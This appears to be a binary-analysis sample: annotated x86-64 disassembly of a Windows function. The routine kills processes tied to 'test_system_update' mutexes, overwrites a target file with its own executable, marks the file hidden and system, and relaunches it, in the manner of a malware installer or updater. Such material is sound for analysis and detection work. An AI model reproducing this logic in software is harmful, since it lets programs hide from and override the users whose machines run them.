Function at 0x40355e
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Delete file
Move file
Set file attributes
Terminate process

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x1960
call fcn.00405300
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1900], rcx
mov qword [rbp + 0x13c0], 0
mov qword [rbp + 0x13c8], 0
lea rdx, [rbp + 0x13d0]
mov eax, 0
mov ecx, 0x7e
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], 0
lea rdx, [rbp + 0xfd0]
mov eax, 0
mov ecx, 0x7e
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x17c0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call rax
mov rcx, qword [rbp + 0x1900]
call sym.fileExists
mov ebx, eax
lea rax, [rbp + 0x17c0]
mov rdx, qword [rbp + 0x1900]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
mov edx, eax
lea rcx, [rbp + 0x17c0]
lea rax, [rbp + 0xfc0]
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edx
mov r9, qword [rbp + 0x1900]
mov r8, rcx
lea rdx, str._s__s__d__d
mov rcx, rax
call sym.sprintf
mov rcx, qword [rbp + 0x1900]
call sym.fileExists
test eax, eax
je 0x4037d2
lea rax, [rbp + 0x17c0]
mov rdx, qword [rbp + 0x1900]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
je 0x4037d2
mov rax, qword [0x004078f0]
mov r9, qword [rax]
lea rdx, [rbp - 0x44]
lea rax, [rbp - 0x40]
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call r9
mov eax, dword [rbp - 0x44]
shr eax, 2
mov dword [rbp + 0x18d8], eax
mov dword [rbp + 0x18dc], 0
jmp 0x40378d
mov eax, dword [rbp + 0x18dc]
cdqe
mov edx, dword [rbp + rax*4 - 0x40]
lea rax, [rbp + 0x13c0]
mov r8d, edx
lea rdx, str.test_system_update__d
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0x13c0]
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_CreateMutexA]
call rax
mov qword [rbp + 0x18d0], rax
cmp qword [rbp + 0x18d0], 0
je 0x403786
mov rax, qword [sym.imp.KERNEL32.DLL_GetLastError]
call rax
mov dword [rbp + 0x18cc], eax
cmp dword [rbp + 0x18cc], 0xb7
jne 0x403760
mov eax, dword [rbp + 0x18dc]
cdqe
mov eax, dword [rbp + rax*4 - 0x40]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.DLL_OpenProcess]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_TerminateProcess]
call rax
mov rax, qword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
call rax
mov rax, qword [rbp + 0x18d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
add dword [rbp + 0x18dc], 1
mov eax, dword [rbp + 0x18dc]
cmp dword [rbp + 0x18d8], eax
ja 0x4036bf
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
mov edx, 0
mov rcx, qword [rbp + 0x1900]
mov rax, qword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
call rax
mov rcx, qword [rbp + 0x1900]
mov rax, qword [sym.imp.KERNEL32.DLL_DeleteFileA]
call rax
mov rcx, qword [rbp + 0x1900]
call sym.fileExists
test eax, eax
jne 0x403850
lea rax, [rbp + 0x17c0]
mov rdx, qword [rbp + 0x1900]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_MoveFileA]
call rax
mov edx, 7
mov rcx, qword [rbp + 0x1900]
mov rax, qword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
call rax
mov dword [rsp + 0x28], 5
lea rax, [0x00407303]
mov qword [rsp + 0x20], rax
lea r9, [0x00407302]
mov r8, qword [rbp + 0x1900]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 1
call sym.exit
mov edx, 7
mov rcx, qword [rbp + 0x1900]
mov rax, qword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
call rax
nop
add rsp, 0x1960
pop rbx
pop rdi
pop rbp
ret